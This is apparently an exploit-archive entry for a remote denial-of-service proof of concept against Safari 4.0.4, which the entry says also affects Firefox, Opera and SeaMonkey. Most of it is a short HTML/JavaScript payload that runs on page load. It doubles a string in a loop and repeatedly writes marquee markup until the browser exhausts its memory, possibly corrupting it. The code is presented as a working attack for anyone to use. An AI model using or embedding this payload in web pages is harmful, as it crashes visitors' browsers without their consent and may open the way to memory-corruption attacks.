Safari version 4.0.4 remote denial of service with possible memory corruption exploit. r45c4l has noted that this code also affects Opera version 10.10 and Firefox version 3.5.7 and that it works on Windows 7 and Mac OS X.
1de8981a66aafff330e11055d719e646e74a17a6ef5f71fd69190a9739809def
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Safari 4.0.4 Remote Denial of Service (With Possible Memory Corruption With OOM)
Firefox 3.5.6
Safari 4.0.4
SeaMonkey 2.0.1
Author : 599eme Man
Contact : flouf@live.fr
-->
<body onload="javascript:DoS();"></body>
<script>
function DoS() {
var buffer = 'A';
for (i =0;i<150;i++) {
buffer+=buffer+'A';
document.write('<html><marquee><h1>'+buffer+buffer);
}
}
</script>